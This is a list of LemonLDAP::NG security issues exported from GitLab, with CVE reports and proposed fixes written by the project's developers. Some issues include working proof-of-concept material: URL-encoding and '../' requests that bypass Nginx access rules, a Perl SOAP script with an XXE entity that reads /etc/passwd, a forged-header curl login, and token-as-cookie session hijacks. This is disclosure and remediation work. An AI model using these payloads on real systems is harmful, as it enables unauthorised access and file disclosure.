lemonldap-ng issueshttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues2020-09-11T04:14:43Zhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2290[security:high, CVE-2020-24660] Lack of URL normalization by Nginx may lead t...2020-09-11T04:14:43ZMaxime Besson[security:high, CVE-2020-24660] Lack of URL normalization by Nginx may lead to authorization bypass when URL access rules are used### Environment
LemonLDAP::NG version: 2.0.8
Operating system: Debian Stretch, Debian Buster, probably RHEL
Web server: nginx/1.10.3, nginx/1.14.2
### Summary
When using Nginx, regexp-based access rules may not be correctly enforced...### Environment
LemonLDAP::NG version: 2.0.8
Operating system: Debian Stretch, Debian Buster, probably RHEL
Web server: nginx/1.10.3, nginx/1.14.2
### Summary
When using Nginx, regexp-based access rules may not be correctly enforced by the handler.
I am doing a CVE request for this bug
### Logs
* Content of test vhost:
```
# cat /var/lib/lemonldap-ng/test/admin
SECRET ADMIN FILE
```
* Handler configuration:
![image](/uploads/eee374a6dffff959789dcf83331efb24/image.png)
* Proof of exploitation:
```
GET -S http://test1.example.com/admin/secretfile
GET http://test1.example.com/admin/secretfile
302 Moved Temporarily //AS EXPECTED
$ GET -S http://test1.example.com/%61dmin/secretfile
GET http://test1.example.com/%61dmin/secretfile
200 OK
SECRET ADMIN FILE //SHOULD BE PROTECTED
GET -S http://test1.example.com/x/../admin/secretfile
GET http://test1.example.com/x/../admin/secretfile
200 OK
SECRET ADMIN FILE //SHOULD BE PROTECTED
```
I have also successfully tested this in a reverse proxy configuration, which is a very common, if not the most common use case. I have also tested this without the "skip" keyword, in such a cas, a normal user may be granted access to admin-only resources.
### Cause
The problem comes from the fact that the handler tests regexp against the REQUEST_URI variable. Unlike Apache, Nginx does not [normalize](https://en.wikipedia.org/wiki/URI_normalization) REQUEST_URI. Because of this, it becomes extremely hard for an admin to write a regexp that correctly catches all of the possible URLs that can be used to target a protected resource (such as /admin).
### Solutions
#### URI::Normalize
Nginx transmits the original URL in a X_ORIGINAL_URL header. We could use this fact to trigger special processing in the handler:
```
$self->env->{REQUEST_URI} = $self->env->{X_ORIGINAL_URI}
if ( $self->env->{X_ORIGINAL_URI} );
```
would change to
```
$self->env->{REQUEST_URI} = normalize_url($self->env->{X_ORIGINAL_URI})
if ( $self->env->{X_ORIGINAL_URI} );
```
Using `normalize_url` from [URI::Normalize](https://metacpan.org/pod/URI::Normalize) which is not in distros but easily embeddable.
#### Nginx config
We could also make Nginx normalize the URL, with something like this:
```
location / {
...
# Save the normalized URI here
set $original_uri $uri$is_args$args;
...
}
location = /lmauth {
...
fastcgi_param X_ORIGINAL_URI $original_uri;
...
}
```
But that means each webserver we ever want to support will probably have it's own, distinct solution2.0.9Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2250[CVE-2020-16093] Peer certificate not checked when using LDAPS2023-10-08T16:40:55ZMaxime Besson[CVE-2020-16093] Peer certificate not checked when using LDAPS### Environment
LemonLDAP::NG version: 2.0.8
Operating system: Debian 10
### Summary
* Configure a `ldaps://` URL as `ldapServer`
* Setup a self signed certificate on the LDAP server
* It works
* (It should not work.)
### Possible f...### Environment
LemonLDAP::NG version: 2.0.8
Operating system: Debian 10
### Summary
* Configure a `ldaps://` URL as `ldapServer`
* Setup a self signed certificate on the LDAP server
* It works
* (It should not work.)
### Possible fixes
Net::LDAP is insecure by default, at least on Debian Buster. We should explicitely pass `verify => require` when initializing it.
Fixing this is probably going to break a lot of installs. We need to create a new option for this and add a warning to release notes.2.0.9Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2215CheckUser idRule is checked only if session is computed2020-05-23T21:19:17ZChristophe Maudouxchrmdx@gmail.comCheckUser idRule is checked only if session is computed### Concerned version
Version: %2.0.X
### Summary
idRule is not applied if a user's session is found in DB. Also session of a protected user can be displayed### Concerned version
Version: %2.0.X
### Summary
idRule is not applied if a user's session is found in DB. Also session of a protected user can be displayed2.0.9Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2180SingleSession plugin does not work if history is displayed2020-04-29T19:26:38ZChristophe Maudouxchrmdx@gmail.comSingleSession plugin does not work if history is displayed### Concerned version
Version: %"2.0.X"
Platform: (Nginx/Apache/Node.js)
### Summary
Enable SingleSession and History plugins.
Tick "Check my last logins" checkbox.
History is displayed and other sessions are not killed.
[vokoscr...### Concerned version
Version: %"2.0.X"
Platform: (Nginx/Apache/Node.js)
### Summary
Enable SingleSession and History plugins.
Tick "Check my last logins" checkbox.
History is displayed and other sessions are not killed.
[vokoscreen-2020-04-29_18-51-56.mkv](/uploads/afd61bb8276e3737778d9928c838a316/vokoscreen-2020-04-29_18-51-56.mkv)
### Possible fixes
Change plugins loading order.2.0.8Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1943[Security: medium, CVE-2019-19791] Apache access rules and SOAP/REST endpoints2019-12-21T15:28:41ZClément OUDOT[Security: medium, CVE-2019-19791] Apache access rules and SOAP/REST endpointsUsing Apache access rules to protect access to SOAP/REST endpoints is not fully working.
For example:
```
<Location /index.fcgi/sessions>
Require all denied
</Location>
```
Will block access to http://auth.example.com/s...Using Apache access rules to protect access to SOAP/REST endpoints is not fully working.
For example:
```
<Location /index.fcgi/sessions>
Require all denied
</Location>
```
Will block access to http://auth.example.com/sessions, thanks to this rewrite rule:
```
RewriteCond "%{REQUEST_FILENAME}" "!^/(?:(?:static|javascript|favicon).*|.*\.fcgi)$"
RewriteRule "^/(.+)$" "/index.fcgi/$1" [PT]
```
But the URL http://auth.example.com/index.fcgi/sessions is valid and not protected. URL http://auth.example.com/index.fcgi/index.fcgi/sessions is also valid, etc.2.0.7Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1935[Security:medium] AuthSlave does not check credential headers2019-09-24T08:54:28ZChristophe Maudouxchrmdx@gmail.com[Security:medium] AuthSlave does not check credential headers### Concerned version
Version: %2.X.X
Platform: All
### Summary
Set AuthSlave parameters like this :
Authentication level => 2
Header for user login => CN
Master's IP address => 127.0.0.1
Control header name => AAA
Control heade...### Concerned version
Version: %2.X.X
Platform: All
### Summary
Set AuthSlave parameters like this :
Authentication level => 2
Header for user login => CN
Master's IP address => 127.0.0.1
Control header name => AAA
Control header content => AAA
```
maudoux@L520[lemonldap-ng](v2.0 *%=)$ curl -k https://127.0.0.1:19876 -H 'CN: dwho' -H 'Host: auth.example.com' -H 'Accept: application/json'
{"error":"0","result":1,"id":"0a4977be81111375c19d8ed7bad9dd6de471f35fdc19a4c40efca15abe150318"}
```
### Logs
```
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [info] No cookie found
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Build URL http://auth.example.com/
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Redirect 127.0.0.1 to portal (url was /)
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] User not authenticated, Try in use, cancel redirection
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Start routing default route
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing controlUrl
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Launching ::Plugins::AutoSignin::check
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing extractFormInfo
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing getUser
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing authenticate
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] -> authResult = 0
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setAuthSessionInfo
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setSessionInfo
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setMacros
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setGroups
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setPersistentSessionInfo
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Persistent session found for dwho
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Restore persistent parameter _loginHistory
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Restore persistent parameter _2fDevices
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Restore persistent parameter _updateTime
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing setLocalGroups
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing store
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 20190913182413 in session key _startTime
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 20190913182337 in session key _updateTime
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 2 in session key authenticationLevel
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store HASH(0x55ba11259770) in session key _loginHistory
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Dump: $VAR1 = {'successLogin' => [{'_utime' => '1568391817','ipAddr' => '127.0.0.1'},{'_utime' => '1568391429','ipAddr' => '127.0.0.1'},{'ipAddr' => '127.0.0.1','_utime' => '1568391070'},{'ipAddr' => '127.0.0.1','_utime' => '1548016089'}]};
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store Slave in session key _userDB
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 1568391853 in session key _utime
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 127.0.0.1 in session key ipAddr
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store curl/7.58.0 in session key UA
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store Slave in session key _auth
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store **** in session key _2fDevices
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store dwho in session key _whatToTrace
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store dwho in session key _user
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store 1568391853 in session key _lastAuthnUTime
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Store en in session key _language
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Try to get a new SSO session
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Return SSO session fe567620f438c5a5ff5d679f41fb0a8fc5e1c8264153663f79d16dd34cc52caf
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing secondFactor
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Loading 2F Devices ...
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] -> 2F Device(s) found
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Looking for expired 2F device(s)...
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Looking if totp2F is available
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Launching ::Plugins::GrantSession::run
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [notice] Session granted for dwho by Slave (127.0.0.1)
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] [notice] Session granted for dwho by Slave (127.0.0.1)
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing storeHistory
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Current login saved into successLogin
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Found 'whatToTrace' -> dwho
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Update dwho persistent session
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Update sessionInfo _loginHistory
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Dump: $VAR1 = {'successLogin' => [{'_utime' => '1568391853','ipAddr' => '127.0.0.1'},{'_utime' => '1568391817','ipAddr' => '127.0.0.1'},{'_utime' => '1568391429','ipAddr' => '127.0.0.1'},{'ipAddr' => '127.0.0.1','_utime' => '1568391070'},{'ipAddr' => '127.0.0.1','_utime' => '1548016089'}]};
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Try to get SSO session fe567620f438c5a5ff5d679f41fb0a8fc5e1c8264153663f79d16dd34cc52caf
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Get session fe567620f438c5a5ff5d679f41fb0a8fc5e1c8264153663f79d16dd34cc52caf from Portal::Main::Run
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Return SSO session fe567620f438c5a5ff5d679f41fb0a8fc5e1c8264153663f79d16dd34cc52caf
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing buildCookie
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Launching ::Plugins::Notifications::checkNotifDuringAuth
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Launching ::Plugins::History::run
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing code ref
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Cleaning pdata
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [notice] dwho connected
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] [notice] dwho connected
[Fri Sep 13 18:24:13 2019] [LLNG:4620] [debug] Processing to JSON response
auth.example.com:80 127.0.0.1 - - [13/Sep/2019:18:24:13 +0200] "GET / HTTP/1.1" 200 1929 -
```2.0.6Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1933[Security:low] nginx portal example file does not filter REST urls2019-12-16T17:05:08ZMaxime Besson[Security:low] nginx portal example file does not filter REST urls### Concerned version
Version: %2.0
Platform: Nginx
### Summary
The provided NGINX portal config contains a bunch of blocks that look like
```
# REST/SOAP functions for sessions management (disabled by default)
location /index.psg...### Concerned version
Version: %2.0
Platform: Nginx
### Summary
The provided NGINX portal config contains a bunch of blocks that look like
```
# REST/SOAP functions for sessions management (disabled by default)
location /index.psgi/adminSessions {
deny all;
}
```
However, these configuration directive do not actually block anything.
### Logs
```
curl -sk -IXGET https://auth.example.com/sessions/ | head -1
HTTP/2 200
```
Nginx should instead send a 403
### Possible fixes
I could not find an easy fix. We need to move those blocks before the main `location` block and duplicate the fastcgi directives inside them, which leads to a rather ugly file. I will look harder into it later.
### Impact
Is this a security issue? REST services are not enabled by default, and sysadmins who choose to enable them are responsible for securing them correctly. Still, the configuration file is pretty misleading.2.0.6https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1881[Security:high] oidc authorization codes are not tied to their RP2019-09-24T08:51:35ZMaxime Besson[Security:high] oidc authorization codes are not tied to their RP### Concerned version
Version: %2.0.0
### Summary
Configure two OIDC relaying parties
* rp1, allowed to all users
* rp2, restricted to admins through a security rule in LLNG
Then, as any user, obtain an OIDC authorization code for r...### Concerned version
Version: %2.0.0
### Summary
Configure two OIDC relaying parties
* rp1, allowed to all users
* rp2, restricted to admins through a security rule in LLNG
Then, as any user, obtain an OIDC authorization code for rp1, using rp2's redirect_uri
You can use this code to access rp2 without being admin
### Cause
That happens because we haven't implemented this part of the OIDC spec:
OpenID Connect spec, 3.1.3.2. Token Request Validation
```
Ensure the Authorization Code was issued to the authenticated Client.
```
### Consequences
Authorization bypass on OIDC services, on applications that do not perform their own access control.
**In order to be vulnerable, rp1 must not have any declared redirect URIs**
### Possible fixes
We should store the client_id in the code session and verify it before emitting an access token2.0.6Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1880[Security:low] Restricted users can edit conf by using default route2019-09-24T08:51:52ZChristophe Maudouxchrmdx@gmail.com[Security:low] Restricted users can edit conf by using default route### Concerned version
Version: %2.0.5
Platform: Nginx/Apache
### Summary
By using default route http://manager.example.com/manager.psgi (Nginx) or http://manager.example.com/manager.fcgi
restricted users (like 'rtyler' here) can modi...### Concerned version
Version: %2.0.5
Platform: Nginx/Apache
### Summary
By using default route http://manager.example.com/manager.psgi (Nginx) or http://manager.example.com/manager.fcgi
restricted users (like 'rtyler' here) can modify and save a configuration.
![image](/uploads/a5d7b9c9c8b1fd1aad7ab47f0718c9aa/image.png)
![image](/uploads/1429731f823d176671ccb8987b61487b/image.png)
### Possible fixes
Append an option in lemondap-ng.ini / Manager section to set default enabled module (viewer by default). Not authorized users will be redirected to Viewer.2.0.6Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1869[Security:low] psessions case sensitivity might impact security of 2FA when u...2021-03-08T10:17:58ZMaxime Besson[Security:low] psessions case sensitivity might impact security of 2FA when using case-insensitive auth backends### Concerned version
Version: %2.0
### Summary
When using a case-insensitive login backend (LDAP), the psession key is by default computed from the `_user` variable (through `_whatToTrace`), which may be uppercase or lowercase depend...### Concerned version
Version: %2.0
### Summary
When using a case-insensitive login backend (LDAP), the psession key is by default computed from the `_user` variable (through `_whatToTrace`), which may be uppercase or lowercase depending what the user typed into the login form.
This can lead to a situation where an attacker can register their own 2F device, unbeknownst to the legitimate user.
### Vulnerable scenario
Configure the following:
* LDAP authentication backend
* TOTP enabled, self registration enabled
* Require 2FA enabled
Then, login as `myuser`
* On first login, you are required to setup a TOTP device
* Login again, you are now protected by the TOTP device
Everything is going well so far
* Login as `MYUSER` with `myuser` 's password
* You are now asked to setup another TOTP device
You may now login as either `myuser` or `MYUSER`, each one will use a different TOTP device. But what if the `MYUSER` TOTP device was setup by a malicious user using stolen credentials? Applications might in many cases still identify `MYUSER` as exactly the same account as `myuser` depending what attributes are being transmitted.
### Backends used
LDAP backend is vulnerable to this, maybe others...
### Mitigations
The attack described here only affects "trust on first login" scenarios, where trust in a 2F device is automatically granted the first time a user logs in.
There is no need to upgrade to mitigate this issue on existing platforms, simply normalize the case of `_whatToTrace` and you won't be affected anymore.
Example: `_whatToTrace=lc($_user)` or perhaps simply `_whatToTrace=$uid`
### Possible fixes
Since LDAP is probably our most common user backend, perhaps we should use `lc($_user)` in `_whatToTrace` by default.
Or perhaps case insensitive backend could normalize `_user` themselves to make sure situations like the one described above cannot happen?2.0.6Clément OUDOTClément OUDOThttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1820[Security:medium] XXE vulnerability in SOAP notification server2019-06-29T07:54:38ZClément OUDOT[Security:medium] XXE vulnerability in SOAP notification serverThe issue is explained in #1818The issue is explained in #18181.9.20YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1818[Security:low] XXE vulnerability in SOAP notification server2019-06-29T07:56:08ZMaxime Besson[Security:low] XXE vulnerability in SOAP notification server> **Note**: due to #1819, this security issue is not exploitable because the server does not work for versions between 2.0.0 and 2.0.4. That's why it is tagged as "Security:low"
This vulnerability was found during a security by one of o...> **Note**: due to #1819, this security issue is not exploitable because the server does not work for versions between 2.0.0 and 2.0.4. That's why it is tagged as "Security:low"
This vulnerability was found during a security by one of our users. I am merely a reporter this time, not the discoverer ;)
* Activate the Notification server
* Choose Old XML format
* Run this script:
```
#!/usr/bin/perl
use SOAP::Lite;
use utf8;
my $lite = SOAP::Lite
->uri('urn:Lemonldap::NG::Common::PSGI::SOAPService')
->proxy('http://auth.example.com/notifications');
$r = $lite->newNotification('<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<notification uid="dwho" date="2019-06-26" reference="ABCD">
<text>&xxe;</text>
<text> You have been granted to access to appli-1 </text>
<text> You have been granted to access to appli-2 </text>
<check> I know that I can access to appli-1 </check>
<check> I know that I can access to appli-2 </check>
</notification>
</root>
');
if ( $r->fault ) {
print STDERR "SOAP Error: " . $r->fault->{faultstring};
}
else {
my $res = $r->result();
print "$res notification(s) have been inserted\n";
}
```
* Login as dwho
* Fix the `templatesDir`/`templateDir` typo in `Notifications/XML.pm` and login again ;)
* Result:
![image](/uploads/41d41e74ed3d37949da01046ab94a7e2/image.png)
(of course this is the server-side /etc/password that gets displayed, not client side)
This is a very low security impact on 2.0 because the `templatesDir`/`templateDir` typo makes SOAP Notifications unusable in 2.0 anyway in the current state, and REST is the default, and Notifications are not enabled by default, and the notification server should be filtered anyway.
However, users of old versions might be more exposed.2.0.5YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1810[Security: low] llng-fastcgi-server could fail to setgid2019-06-20T07:04:19ZRaphael Geissert[Security: low] llng-fastcgi-server could fail to setgidllng-fastcgi-server bails out whenever it fails to getgrnam/getpwnam, but it doesn't check whether setgid/setuid failed. It could, for example, end up running with a gid other than the one desired.
Minor issue.llng-fastcgi-server bails out whenever it fails to getgrnam/getpwnam, but it doesn't check whether setgid/setuid failed. It could, for example, end up running with a gid other than the one desired.
Minor issue.2.0.5YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1795[Security: low] CAS 3.0 Logout does not validate redirect URL2021-06-11T06:47:25ZMaxime Besson[Security: low] CAS 3.0 Logout does not validate redirect URL### Concerned version
Version: %2.0.4
### Summary
When logging out with `/cas/logout?service=URL`, the URL parameter is not validated.
See https://cwe.mitre.org/data/definitions/601.html for the reason why this is an issue
Additionn...### Concerned version
Version: %2.0.4
### Summary
When logging out with `/cas/logout?service=URL`, the URL parameter is not validated.
See https://cwe.mitre.org/data/definitions/601.html for the reason why this is an issue
Additionnaly, the CAS specification recommends validating this parameter : https://apereo.github.io/cas/4.2.x/protocol/CAS-Protocol-Specification.html#231-parameters
lemonldap-ng-portal/t/31-Auth-and-issuer-CAS-Logout-30.t is a way to reproduce the issue, since the target URL it uses isn't declared anywhere but accepted anyway.
CAS2.0 does not have this issue since its `url` parameter is validated by `controlUrl`
### Possible fixes
We should run the target `service=` URL through `isTrustedUrl`.
However, implementing this behavior would cause regressions for users who are currently using the CAS issuer without application access control, or who are sending users to some generic logout page.
Since disabling application access control already puts all LLNG users at risk of arbitrary redirects (through `/cas/login`), it would make sense from a compatibility point of view to not do this proposed check if users have disabled application access controls on CAS.2.0.5Clément OUDOTClément OUDOThttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1744[Security: low] register_token used for account creation can be used as a val...2019-05-15T11:48:39ZClément OUDOT[Security: low] register_token used for account creation can be used as a valid session identifier### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Resume
Duplicate of #1743 but for 1.9 branch### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Resume
Duplicate of #1743 but for 1.9 branch1.9.19Clément OUDOTClément OUDOThttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1743[Security: low] register_token used for account creation can be used as a val...2019-05-13T21:22:36ZMaxime Besson[Security: low] register_token used for account creation can be used as a valid session identifier### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Concerned version
Version: %2.0.3
### Summary
The co...### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Concerned version
Version: %2.0.3
### Summary
The confirmation email contains a link that looks like this:
```
http://auth.example.com/register?register_token=9918800f8e90181a3da20e2c41ac565fc1a4018534bf4f9c37dabd2d24eb711f&skin=bootstrap
```
The register_token may be used as a valid session, before the account is even created in the Register backend
```
curl -b lemonldap=9918800f8e90181a3da20e2c41ac565fc1a4018534bf4f9c37dabd2d24eb711f http://test1.example.com/
```
The session is of course empty:
```
<li>Connected user: <ul>
<li><tt>$ENV{HTTP_AUTH_USER}</tt>: </li>
<li><tt>$ENV{REMOTE_USER}</tt>: </li>
```
But i'm pretty sure this is undesired behavior.
### Logs
```
cat /var/lib/lemonldap-ng/sessions/9918800f8e90181a3da20e2c41ac565fc1a4018534bf4f9c37dabd2d24eb711f
{
"_utime" : 1557493764,
"tokenSessionStartTimestamp" : 1557493764,
"_type" : "register",
"ipAddr" : "10.128.239.1",
"firstname" : "Bob",
"_session_kind" : "SSO",
"mail" : "hackerman@gibson.com",
"lastname" : "Hackerman",
"_session_id" : "9918800f8e90181a3da20e2c41ac565fc1a4018534bf4f9c37dabd2d24eb711f",
"tokenTimeoutTimestamp" : 1557565764
}
```
### Possible fixes
The register session shouldn't be using _session_kind: SSO, or the handler should not accept _type: register ? Not sure what's the correct way here.2.0.4YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1742[Security: high, CVE-2019-12046] Setting tokenUseGlobalStorage allows unauthe...2019-05-13T20:24:06ZMaxime Besson[Security: high, CVE-2019-12046] Setting tokenUseGlobalStorage allows unauthenticated users to access the portal (and applications without rules)### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Concerned version
Version: %2.0.3
### Summary
Any t...### References
* [CVE-2019-12046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12046)
* [Debian #928944](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928944)
### Concerned version
Version: %2.0.3
### Summary
Any token stored in the "main" session database may be used as a valid session identified to browse the portal and access applications with a bogus (all fields are empty), but nonetheless accepted session.
This is an issue if tokens generated by OneTimeToken.pm are stored in main session database, because these token are directly visible to unauthenticated users
Proof of concept:
First, enable `tokenUseGlobalStorage`, in the manager, then
```
$ curl -s http://auth.example.com/ | grep token
<input type="hidden" name="token" value="5e57a93005d3877cccafc6da806c2911fdb62ff2af60d9bb2b890b4253f2a862" />
$ curl -sb lemonldap=5e57a93005d3877cccafc6da806c2911fdb62ff2af60d9bb2b890b4253f2a862 http://auth.example.com/ | grep Connected
<span trspan="connectedAs">Connected as</span>
$ curl -sb lemonldap=5e57a93005d3877cccafc6da806c2911fdb62ff2af60d9bb2b890b4253f2a862 http://test1.lemonregister.lxd/ | grep title
<title>LemonLDAP::NG sample protected application</title>
```
We are logged onto the portal with an empty username, but that's enough to browse the application list, and accept applications that have no access rules (or rules that behave badly in the presence of an empty string!)
### Logs
```
LLNG[19019]: Get session 5e57a93005d3877cccafc6da806c2911fdb62ff2af60d9bb2b890b4253f2a862 from Handler::Main::Run
May 10 13:36:08 lemonregister LLNG[19019]: Check session validity from Handler
May 10 13:36:08 lemonregister LLNG[19019]: Session timeout -> 72000
```
In the global storage, tokens look like this:
```
{
"_session_kind" : "SSO",
"tokenSessionStartTimestamp" : 1557495341,
"_utime" : 1557423461,
"_type" : "token",
"tokenTimeoutTimestamp" : 1557495461,
"_session_id" : "9333f50d80fdbf77d584af01dba27a2dc72b94f841c44dd30d0b9ed42af589df"
}
```
That `"_session_kind" : "SSO",` is probably the root of the issue, as it doesn't appear when using tokens with the normal configuration (tokenUseGlobalStorage=0)
### Possible fixes
The handler and portal should probably check the _kind of the session it retrieves before accepting them.2.0.4YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1716[Security:minor] Update jQuery2019-04-19T12:53:09ZYadd[Security:minor] Update jQuery### Concerned version
Version: all
Platform: any that use our embedded jQuery.
### Summary
jQuery before 3.4.0 is vulnerable to prototype pollution. See [Debian security tracker](https://security-tracker.debian.org/tracker/TEMP-09273...### Concerned version
Version: all
Platform: any that use our embedded jQuery.
### Summary
jQuery before 3.4.0 is vulnerable to prototype pollution. See [Debian security tracker](https://security-tracker.debian.org/tracker/TEMP-0927330-1DAA6F)2.0.4Clément OUDOTClément OUDOThttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1675[Security:minor] Using /logout instead of /?logout=1 does not work2019-04-10T21:22:53ZClément OUDOT[Security:minor] Using /logout instead of /?logout=1 does not workIn LL::NG 2.0, it seems that a specific route has been created for logout, but it is not working.
Here is the log when calling http://auth.example.com/logout:
```
auth.example.com:80 127.0.0.1 - - [21/Mar/2019:09:15:38 +0100] "GET /stat...In LL::NG 2.0, it seems that a specific route has been created for logout, but it is not working.
Here is the log when calling http://auth.example.com/logout:
```
auth.example.com:80 127.0.0.1 - - [21/Mar/2019:09:15:38 +0100] "GET /static/common/apps/network.png HTTP/1.1" 304 263
[debug] Get session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd from Handler internal cache
[debug] auth.example.com: Apply default rule
[debug] removing cookie
[debug] Cookies -> llnglanguage=fr; lemonldap=10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd
[debug] CookieName -> lemonldap
[debug] newCookies -> llnglanguage=fr;
[debug] User dwho was granted to access to /logout
[debug] Start routing logout
[debug] Processing controlUrl
[debug] Processing authLogout
[debug] Cleaning pdata
